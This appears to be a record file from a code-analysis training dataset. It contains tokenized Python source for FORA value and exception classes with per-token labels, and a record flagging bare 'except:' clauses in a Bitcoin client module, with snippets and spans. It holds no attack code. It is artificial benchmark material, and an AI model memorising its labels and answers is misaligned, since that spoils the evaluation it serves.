"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"FOR",
"AV",
"ector_",
"(_",
"FOR",
"AV",
"alue_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"ector_",
"(_",
"FOR",
"AV",
"alue_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"impl",
"val_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"FOR",
"AV",
"alue_",
"._",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"impl",
"val_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"ector_",
"(_",
"FOR",
"AV",
"alue_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"getitem\\u\\u_",
"(_",
"self_",
",_",
"x_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"value_",
"=_",
"Evaluator_",
"._",
"evaluator_",
"(_",
")_",
"._",
"get",
"VD",
"M_",
"(_",
")_",
"._",
"extract",
"Vector",
"Item_",
"(_",
"self_",
"._",
"impl",
"Val",
"\\u_",
",_",
"x_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"value_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"FOR",
"AV",
"alue_",
"(_",
"value_",
")_",
"._",
"to",
"Pyth",
"on",
"Object_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"FOR",
"AV",
"alue_",
"._",
"\\u\\u",
"getitem\\u\\u_",
"(_",
"self_",
",_",
"x_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Index",
"Error_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"FOR",
"AM",
"uta",
"ble",
"Vector_",
"(_",
"FOR",
"AV",
"alue_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AM",
"uta",
"ble",
"Vector_",
"(_",
"FOR",
"AV",
"alue_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"impl",
"val_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"FOR",
"AV",
"alue_",
"._",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"impl",
"val_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AM",
"uta",
"ble",
"Vector_",
"(_",
"FOR",
"AV",
"alue_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"getitem\\u\\u_",
"(_",
"self_",
",_",
"x_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"FOR",
"AV",
"alue_",
"(_",
"self_",
"._",
"impl",
"Val",
"\\u_",
"[_",
"x_",
"]_",
")_",
"._",
"to",
"Pyth",
"on",
"Object_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Index",
"Error_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"extract",
"Impl",
"Val",
"Container_",
"(_",
"fora",
"Value_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"the",
" ",
"prefer",
"red",
" ",
"way",
" ",
"to",
" ",
"get",
" ",
"the",
" ",
"impl",
"val",
" ",
"out",
" ",
"of",
" ",
"a",
" ",
"For",
"a",
"Value",
".",
"FOR",
"AV",
"alu",
"e",
" ",
"object",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"fora",
"Value_",
"._",
"impl",
"Val",
"\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"FOR",
"AE",
"xcept",
"ion_",
"(_",
"Exception_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"base",
" ",
"class",
" ",
"for",
" ",
"all",
" ",
"FOR",
"A",
" ",
"exception",
"s",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AE",
"xcept",
"ion_",
"(_",
"Exception_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"fora",
"Val_",
"=_",
"None_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"Exception_",
"._",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"fora",
"Val_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"fora",
"Val_",
"=_",
"nothing_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"trace_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"values",
"In",
"Scope_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"isinstance_",
"(_",
"fora",
"Val_",
",_",
"tuple_",
")_",
"or_",
"len_",
"(_",
"fora",
"Val_",
")_",
"!=_",
"2_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"assert_",
"False_",
",_",
"\"",
"Impro",
"perl",
"y",
" ",
"formed",
" ",
"FOR",
"A",
" ",
"exception",
".\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"stack",
"trace",
"And",
"Data_",
"=_",
"fora",
"Val_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"stack",
"trace",
"And",
"Data",
" ",
"=",
" ",
"(",
"stack",
"trace",
",",
" ",
"values",
" ",
"in",
" ",
"scope",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"not_",
"isinstance_",
"(_",
"fora",
"Val_",
"[_",
"1_",
"]_",
",_",
"tuple_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"stack",
"trace",
"And",
"Data_",
"=_",
"stack",
"trace",
"And",
"Data_",
"._",
"to",
"Pyth",
"on",
"Object_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"not_",
"isinstance_",
"(_",
"stack",
"trace",
"And",
"Data_",
",_",
"tuple_",
")_",
"or_",
"len_",
"(_",
"stack",
"trace",
"And",
"Data_",
")_",
"!=_",
"2_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"stack",
"trace",
"And",
"Data_",
",_",
"type_",
"(_",
"stack",
"trace",
"And",
"Data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"False_",
",_",
"\"",
"Impro",
"perl",
"y",
" ",
"formed",
" ",
"FOR",
"A",
" ",
"exception",
".\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"not_",
"(_",
"stack",
"trace",
"And",
"Data_",
"[_",
"0_",
"]_",
"._",
"type_",
"(_",
")_",
"==_",
"Stack",
"Trace_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"assert_",
"False_",
",_",
"\"",
"Impro",
"perl",
"y",
" ",
"formed",
" ",
"FOR",
"A",
" ",
"exception",
".\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"fora",
"Val_",
"=_",
"fora",
"Val_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"trace_",
"=_",
"stack",
"trace",
"And",
"Data_",
"[_",
"0_",
"]_",
"._",
"impl",
"Val",
"\\u_",
"._",
"get",
"Stack",
"Trace_",
"(_",
")_",
"#",
" ",
"Pyth",
"on",
" ",
"list",
" ",
"of",
" ",
"code",
"Locat",
"ion",
"s",
"._",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"values",
"In",
"Scope_",
"=_",
"stack",
"trace",
"And",
"Data_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AE",
"xcept",
"ion_",
"(_",
"Exception_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"str\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"exception",
"String_",
"=_",
"str_",
"(_",
"self_",
"._",
"fora",
"Val_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"len_",
"(_",
"exception",
"String_",
")_",
">_",
"1000_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"exception",
"String_",
"=_",
"exception",
"String_",
"[_",
":_",
"800_",
"]_",
"+_",
"exception",
"String_",
"[_",
"-_",
"200_",
":_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"\"",
"FOR",
"A",
" ",
"Except",
"ion",
":",
" ",
"\"_",
"+_",
"exception",
"String_",
"+_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"\\\\",
"n",
"\\\\",
"n",
"Trace",
"back",
":\\\\",
"n",
"\"_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"Error",
"Formatt",
"ing_",
"._",
"format",
"Stack",
"trace_",
"(_",
"self_",
"._",
"trace_",
",_",
"self_",
"._",
"values",
"In",
"Scope_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"self_",
"._",
"trace_",
"is_",
"not_",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"else_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
" ",
"(",
"<",
"no",
" ",
"stack",
"trace",
" ",
"avail",
"able",
">)",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AE",
"xcept",
"ion_",
"(_",
"Exception_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"cmp",
"\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"Type",
"Awa",
"re",
"Compari",
"son_",
"._",
"typec",
"mp_",
"(_",
"self_",
",_",
"other_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"lambda_",
"self_",
",_",
"other_",
":_",
"cmp_",
"(_",
"self_",
"._",
"fora",
"Val_",
",_",
"other_",
"._",
"fora",
"Val_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AE",
"xcept",
"ion_",
"(_",
"Exception_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"getin",
"ita",
"rg",
"s\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"(_",
"self_",
"._",
"fora",
"Val_",
",_",
"self_",
"._",
"trace_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"process",
"Computation",
"Result_",
"(_",
"res_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"give",
"n",
" ",
"a",
" ",
"FOR",
"A",
".",
"Computation",
"Result",
",",
" ",
"return",
" ",
"or",
" ",
"throw",
" ",
"the",
" ",
"rele",
"van",
"t",
" ",
"FOR",
"AV",
"alu",
"e",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"object",
".",
" ",
"Atte",
"mpt",
" ",
"to",
" ",
"convert",
" ",
"it",
" ",
"to",
" ",
"a",
" ",
"python",
" ",
"object",
" ",
"if",
" ",
"possib",
"le",
".\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"res_",
"._",
"is",
"Exception_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"v_",
"=_",
"FOR",
"AV",
"alue_",
"(_",
"res_",
"._",
"as",
"Exception_",
"._",
"exception_",
")_",
"._",
"to",
"Pyth",
"on",
"Object_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"isinstance_",
"(_",
"v_",
",_",
"Exception_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"v_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"FOR",
"AE",
"xcept",
"ion_",
"(_",
"v_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"res_",
"._",
"is",
"Failure_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"FOR",
"AF",
"ail",
"ure_",
"(_",
"res_",
"._",
"as",
"Failure_",
"._",
"error_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"FOR",
"AV",
"alue_",
"(_",
"res_",
"._",
"as",
"Result_",
"._",
"result_",
")_",
"._",
"to",
"Pyth",
"on",
"Object_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"lhs_",
",_",
"rhs_",
",_",
"op_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"give",
"n",
" ",
"lh",
"s",
",",
" ",
"rhs",
",",
" ",
"and",
" ",
"op",
",",
" ",
"whi",
"ch",
" ",
"are",
" ",
"all",
" ",
"FOR",
"AV",
"alues",
",",
" ",
"evaluate",
" ",
"a",
" ",
"binar",
"y",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"opera",
"tor",
" ",
"call",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"process",
"Computation",
"Result_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"Evaluator_",
"._",
"evaluator_",
"(_",
")_",
"._",
"evaluate_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"lhs_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Operator_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"op_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"rhs_",
"._",
"impl",
"Val",
"\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"internal",
"ly",
" ",
"used",
" ",
"symbols_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"plus_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"+\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sub_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"-\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"mul_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"*\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"div_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"/\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"mod_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"%\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pow_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"**",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lsh",
"ift",
"_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"<<",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"rshi",
"ft_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\">>",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lt_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"<\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"gt_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\">\"_",
")_",
"\\u\\u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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Except block handles 'BaseException' | orisi/orisi/src/shared/bitcoind_client/bitcoinclient.py | [
{
"content": " def _connect(self, connection_function):\n try_factor = 1\n\n while 1:\n try:\n connection_function()\n return\n except:\n try_factor *= 2\n\n if try_factor > 512:\n logging.critical('can\\'t connect to bitcoind server')\n return\n\n logging.info('can\\'t connect to bitcoind server, waiting {}'.format(try_factor))\n time.sleep(try_factor)",
"metadata": "root.BitcoinClient._connect",
"header": "['class', 'BitcoinClient', ':', '___EOS___']",
"index": 43
},
{
"content": " def keep_alive(server):\n def wrapper(fun):\n def ping_and_reconnect(self, *args, **kwargs):\n if server == 'server':\n server_instance = self.server\n connection_function = self.connect\n elif server == 'blockchain_server':\n return fun(self, *args, **kwargs)\n else:\n raise UnknownServerError()\n\n try:\n # Cheap API call that checks wether we're connected\n server_instance.help()\n response = fun(self, *args, **kwargs)\n return response\n except:\n connection_function()\n return fun(self, *args, **kwargs)\n return ping_and_reconnect\n return wrapper",
"metadata": "root.BitcoinClient.keep_alive",
"header": "['class', 'BitcoinClient', ':', '___EOS___']",
"index": 93
},
{
"content": " @keep_alive('blockchain_server')\n def get_block_hash(self, block_number):\n try:\n return self.blockchain_server.getblockhash(block_number)\n except:\n return None",
"metadata": "root.BitcoinClient.get_block_hash",
"header": "['class', 'BitcoinClient', ':', '___EOS___']",
"index": 322
},
{
"content": " def get_block(self, block_hash):\n if not TEST_MODE:\n return self.bitcoind_get_block(block_hash)\n else:\n # Temporary solution before blockchain.info will fix their API\n not_proper_data = safe_nonbitcoind_blockchain_getblock(block_hash)\n\n max_height = self.blockchain_server.getblockcount()\n\n proper_data = {}\n try:\n proper_data['hash'] = not_proper_data['hash']\n except:\n logging.exception('problematic blockchain data: %r' % not_proper_data)\n\n proper_data['height'] = not_proper_data['height']\n proper_data['size'] = not_proper_data['size']\n proper_data['merkleroot'] = not_proper_data['mrkl_root']\n proper_data['confirmations'] = max_height - proper_data['height'] + 1\n proper_data['version'] = not_proper_data['ver']\n proper_data['time'] = not_proper_data['time']\n proper_data['nonce'] = not_proper_data['nonce']\n proper_data['bits'] = not_proper_data['bits']\n proper_data['previousblockhash'] = not_proper_data['prev_block']\n proper_data['tx'] = [tx['hash'] for tx in not_proper_data['tx']]\n return proper_data",
"metadata": "root.BitcoinClient.get_block",
"header": "['class', 'BitcoinClient', ':', '___EOS___']",
"index": 333
}
]
| [
{
"span": "except:",
"start_line": 50,
"start_column": 6,
"end_line": 50,
"end_column": 13
},
{
"span": "except:",
"start_line": 109,
"start_column": 8,
"end_line": 109,
"end_column": 15
},
{
"span": "except:",
"start_line": 326,
"start_column": 4,
"end_line": 326,
"end_column": 11
},
{
"span": "except:",
"start_line": 345,
"start_column": 6,
"end_line": 345,
"end_column": 13
}
]
| []
| 1 | true | [
"[CLS]_",
"Except",
"_",
"block_",
"handles_",
"'",
"Base",
"Except",
"ion",
"'_",
"[SEP]_",
"class_",
"Bit",
"coin",
"Client_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u",
"connect_",
"(_",
"self_",
",_",
"connecti",
"on",
"\\u",
"function_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try",
"\\u",
"factor_",
"=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"while_",
"1_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"connecti",
"on",
"\\u",
"function_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try",
"\\u",
"factor_",
"*=_",
"2_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"try",
"\\u",
"factor_",
">_",
"512_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"critical_",
"(_",
"'",
"can",
"\\\\'",
"t",
" ",
"connect",
" ",
"to",
" ",
"bitcoin",
"d",
" ",
"server",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"logging_",
"._",
"info_",
"(_",
"'",
"can",
"\\\\'",
"t",
" ",
"connect",
" ",
"to",
" ",
"bitcoin",
"d",
" ",
"server",
",",
" ",
"wait",
"ing",
" ",
"{}'_",
"._",
"format_",
"(_",
"try",
"\\u",
"factor_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"time_",
"._",
"sleep_",
"(_",
"try",
"\\u",
"factor_",
")_",
